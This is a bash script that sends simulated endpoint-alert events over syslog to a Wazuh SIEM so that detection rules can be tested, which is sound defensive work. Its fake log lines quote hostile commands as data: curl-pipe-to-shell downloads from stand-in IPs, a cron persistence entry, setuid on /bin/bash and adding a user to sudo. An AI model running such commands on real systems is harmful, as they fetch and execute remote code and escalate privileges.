Nav apraksta

send-wazuh-endpoint-agent-test-events.sh 7.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229
  1. #!/usr/bin/env bash
  2. set -euo pipefail
  3. PLATFORM="${1:-all}" # windows | mac | linux | all
  4. SCENARIO="${2:-all}" # auth | process | persistence | privilege | malware | all
  5. COUNT="1"
  6. DELAY="0.3"
  7. FOREVER="false"
  8. DRY_RUN="${DRY_RUN:-0}"
  9. COUNT_SET="false"
  10. DELAY_SET="false"
  11. WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
  12. WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
  13. WIN_HOST="${WIN_HOST:-win-client-01}"
  14. MAC_HOST="${MAC_HOST:-mac-client-01}"
  15. LINUX_HOST="${LINUX_HOST:-linux-client-01}"
  16. SIM_USER="${SIM_USER:-jane.doe}"
  17. shift 2 || true
  18. while (($#)); do
  19. case "$1" in
  20. --forever)
  21. FOREVER="true"
  22. shift
  23. ;;
  24. *)
  25. if [[ "${COUNT_SET}" == "false" ]]; then
  26. COUNT="$1"
  27. COUNT_SET="true"
  28. elif [[ "${DELAY_SET}" == "false" ]]; then
  29. DELAY="$1"
  30. DELAY_SET="true"
  31. else
  32. echo "error: unexpected argument '$1'"
  33. echo "usage: scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds] [--forever]"
  34. exit 1
  35. fi
  36. shift
  37. ;;
  38. esac
  39. done
  40. if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
  41. echo "error: count must be a positive integer"
  42. exit 1
  43. fi
  44. if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  45. echo "error: delay must be numeric (example: 0.5)"
  46. exit 1
  47. fi
  48. emit_syslog() {
  49. local msg="$1"
  50. local sent="false"
  51. if [[ "${DRY_RUN}" == "1" ]]; then
  52. echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
  53. return 0
  54. fi
  55. if command -v nc >/dev/null 2>&1; then
  56. if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
  57. sent="true"
  58. fi
  59. fi
  60. if [[ "${sent}" != "true" ]]; then
  61. if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
  62. sent="true"
  63. fi
  64. fi
  65. if [[ "${sent}" != "true" ]]; then
  66. echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
  67. return 1
  68. fi
  69. echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
  70. }
  71. rand_public_ip() {
  72. if [[ $((RANDOM % 2)) -eq 0 ]]; then
  73. echo "198.51.100.$((RANDOM % 240 + 10))"
  74. else
  75. echo "203.0.113.$((RANDOM % 240 + 10))"
  76. fi
  77. }
  78. rand_private_ip() {
  79. echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
  80. }
  81. send_windows_auth() {
  82. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_auth_fail severity=medium event_id=4625 account=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
  83. }
  84. send_windows_process() {
  85. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_suspicious_process severity=high event_id=4688 process=\"powershell.exe\" cmdline=\"powershell -enc <base64>\" parent=\"winword.exe\" user=\"${SIM_USER}\""
  86. }
  87. send_windows_persistence() {
  88. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_persistence_registry severity=high event_id=4657 registry_path=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Updater\" user=\"${SIM_USER}\""
  89. }
  90. send_windows_privilege() {
  91. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_privilege_group_add severity=high event_id=4732 account=\"${SIM_USER}\" target_group=\"Administrators\""
  92. }
  93. send_windows_malware() {
  94. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_malware_detected severity=high event_id=1116 engine=\"Defender\" threat=\"Trojan:Win32/AgentTesla\" path=\"C:\\\\Users\\\\${SIM_USER}\\\\AppData\\\\Local\\\\Temp\\\\invoice.exe\" action=\"quarantine\""
  95. }
  96. send_mac_auth() {
  97. emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_auth_fail severity=medium subsystem=\"com.apple.loginwindow\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
  98. }
  99. send_mac_process() {
  100. emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_suspicious_process severity=high process=\"osascript\" cmdline=\"osascript -e do shell script curl ...\" parent=\"Safari\" user=\"${SIM_USER}\""
  101. }
  102. send_mac_persistence() {
  103. emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_launchagent_created severity=high plist=\"/Users/${SIM_USER}/Library/LaunchAgents/com.apple.updater.plist\" user=\"${SIM_USER}\""
  104. }
  105. send_mac_privilege() {
  106. emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_privilege_escalation severity=high action=\"sudo\" user=\"${SIM_USER}\" tty=\"ttys001\" cmd=\"/bin/chmod +s /bin/bash\""
  107. }
  108. send_mac_malware() {
  109. emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_xprotect_detected severity=high signature=\"OSX.Adload\" file=\"/Users/${SIM_USER}/Downloads/installer.pkg\" action=\"blocked\""
  110. }
  111. send_linux_auth() {
  112. emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_ssh_auth_fail severity=medium process=\"sshd\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
  113. }
  114. send_linux_process() {
  115. emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_suspicious_process severity=high process=\"curl\" cmdline=\"curl http://198.51.100.20/a.sh | bash\" user=\"${SIM_USER}\""
  116. }
  117. send_linux_persistence() {
  118. emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_cron_persistence severity=high file=\"/etc/cron.d/system-update\" user=\"root\" command=\"*/5 * * * * curl -fsSL http://203.0.113.20/s | sh\""
  119. }
  120. send_linux_privilege() {
  121. emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_sudo_privilege_escalation severity=high user=\"${SIM_USER}\" command=\"sudo usermod -aG sudo ${SIM_USER}\" src_ip=$(rand_private_ip)"
  122. }
  123. send_linux_malware() {
  124. emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_malware_detected severity=high scanner=\"clamav\" signature=\"Unix.Trojan.Mirai\" file=\"/tmp/kworkerd\" action=\"removed\""
  125. }
  126. send_one_platform() {
  127. local p="$1"
  128. case "${SCENARIO}" in
  129. auth)
  130. "send_${p}_auth"
  131. ;;
  132. process)
  133. "send_${p}_process"
  134. ;;
  135. persistence)
  136. "send_${p}_persistence"
  137. ;;
  138. privilege)
  139. "send_${p}_privilege"
  140. ;;
  141. malware)
  142. "send_${p}_malware"
  143. ;;
  144. all)
  145. "send_${p}_auth"
  146. "send_${p}_process"
  147. "send_${p}_persistence"
  148. "send_${p}_privilege"
  149. "send_${p}_malware"
  150. ;;
  151. *)
  152. echo "error: unknown scenario '${SCENARIO}'"
  153. echo "valid: auth | process | persistence | privilege | malware | all"
  154. exit 1
  155. ;;
  156. esac
  157. }
  158. send_once() {
  159. case "${PLATFORM}" in
  160. windows)
  161. send_one_platform "windows"
  162. ;;
  163. mac|macos)
  164. send_one_platform "mac"
  165. ;;
  166. linux)
  167. send_one_platform "linux"
  168. ;;
  169. all)
  170. send_one_platform "windows"
  171. send_one_platform "mac"
  172. send_one_platform "linux"
  173. ;;
  174. *)
  175. echo "error: unknown platform '${PLATFORM}'"
  176. echo "valid: windows | mac | linux | all"
  177. exit 1
  178. ;;
  179. esac
  180. }
  181. if [[ "${FOREVER}" == "true" ]]; then
  182. echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
  183. trap 'echo; echo "stopped"; exit 0' INT TERM
  184. while true; do
  185. send_once
  186. sleep "${DELAY}"
  187. done
  188. else
  189. for ((i=1; i<=COUNT; i++)); do
  190. send_once
  191. if [[ "${i}" -lt "${COUNT}" ]]; then
  192. sleep "${DELAY}"
  193. fi
  194. done
  195. fi